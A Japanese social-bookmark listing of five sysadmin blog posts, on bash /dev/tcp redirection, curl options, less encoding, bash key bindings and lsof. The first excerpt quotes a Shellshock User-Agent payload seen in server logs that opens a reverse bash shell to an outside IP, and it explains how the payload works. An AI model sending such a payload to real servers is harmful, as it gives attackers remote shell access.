タグ

ブックマーク / hogem.hatenablog.com (5)

  • bashでリダイレクトを使ったソケット通信 - うまいぼうぶろぐ

    vpsのhttpdのログにbash脆弱性を狙ったアクセスが来ていて、たいていはどこかへpingを実行したり、HTTPヘッダにX-Bash-Test というのを含めて脆弱性を確認してるだけ、みたいなのだけど、その中で見慣れないログを見つけた。 User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.0.2.1/8080 0>&1(/dev/tcp の後は/ipアドレス/port 上のは適当な例) /dev/tcp ? こいつは何がしたい? "/bin/bash -i >& /dev/tcp/192.0.2.1/8080 0>&1" /bin/bash -i を実行したときの標準入力(0)、標準出力(1)、標準エラー(2) 、つまり全ての入出力を/dev/tcp/192.0.2.1/8080 にリダイレクトにしている。(">& hoge.txt"

    bashでリダイレクトを使ったソケット通信 - うまいぼうぶろぐ
    HHR
    HHR 2018/02/07
    /dev/tcp/はbashの機能だった
  • curlのオプション勉強したのでまとめ - うまいぼうぶろぐ

    curlはwget, lwp-request(GET, HEAD), lynxと同じようなcliのhttp client。だと思ってたらもっと機能があるようなので、man curl読んで色々調べてみた。HTTP(S)以外にもかなり対応してた。 curl is a tool to transfer data from or to a server, using one of the supported protocols (HTTP, HTTPS, FTP, FTPS, SCP, SFTP, TFTP, DICT, TELNET, LDAP or FILE). とりあえず良く使いそうなhttp, ftp関連のメモ。DLだけじゃなくて、アップロードもできるのが素晴らしい。 基 syntax curl [optinons] URL URL It will then default to HTT

    curlのオプション勉強したのでまとめ - うまいぼうぶろぐ
    HHR
    HHR 2015/06/02
    範囲指定(> v7.15.1)curl example.com/[1-9] -o "hoge#1.txt" 帯域制限 POSTをファイルから
  • lessで日本語が化けるとき - うまいぼうぶろぐ

    語が化けるときは次のどっちかをつけるといける? man lessより。 -r 「そのままの」制御文字を表示させるようにする。デフォルトでは、 制御文字をキャレット表記を使って表示する。 -R -rと似ているが、可能な場合には画面表示を正しく維持しようとする。 このオプションが有効なのは、入力が通常のテキストの場合である。 入力にはANSIの「カラー」エスケープシーケンスが含まれていてもよい。

    lessで日本語が化けるとき - うまいぼうぶろぐ
    HHR
    HHR 2011/11/28
    -r 重要
  • bashのキーバインド(キーボードショートカット) まとめ - readlineとbind、ついでにstty編 - うまいぼうぶろぐ

    復習がてらまとめてみた。今さら感たっぷりでたぶん100番煎じぐらいだけど。きっかけは単語単位でカーソルを移動させる(M-f,M-b)方法が知りたかっただけなんだけど。せっかくなのでどこで、どういう風にキーバインドが割り当てられているかを調べた。 versionはdebian4のbash 3.1.17。 readlineとbind(組み込みコマンド) man bashのreadlineとbindの項目参照。readlineはシェルの入力を処理するライブラリ。bashは組み込みのコマンドでreadlineの割り当て設定確認/設定変更が出来る。 端末ラインのキーバインド さて、さっそくbashのキーバインド…の前に、シェルとは別の端末のキーバインドもまとめておく。bashとは直接関係ないけど、端末をCLIの操作をキーバインドで行うという意味では、ほぼ同じなので。 有名なのはプロセスを割り込むC-

    bashのキーバインド(キーボードショートカット) まとめ - readlineとbind、ついでにstty編 - うまいぼうぶろぐ
    HHR
    HHR 2011/09/15
    MC-h(直前の1単語を/区切りで削除)、C-x*(globを展開)
  • lsofの使い方 - プロセスが使用中のファイルを調べる - うまいぼうぶろぐ

    odz buffer - プロセスが開いているファイルを確認する ls -l /proc/`pgrep -n java`/fd lsofでも調べられます。 lsof - list open files lsof うにょうにょと結果が出てきます。が、多すぎて訳わからん。 -pオプションでプロセスID指定 ### プロセスID指定 lsof -p 12345 ### バッククォート使うとこんな感じ lsof -p `pgrep -n java` -cオプションでプロセス名指定 lsof -c java -uオプションでユーザ指定 lsof -u hoge -iオプション [@IPアドレス:ポート番号] listenしてるポートを出力。指定したポートのみ表示することもできる。 lsof -i # Listenしてるのずらずら表示 lsof -i :22 # ssh lsof -i :22,80

    lsofの使い方 - プロセスが使用中のファイルを調べる - うまいぼうぶろぐ
    HHR
    HHR 2011/08/22
    lsof -i でポート調べられる
  • 1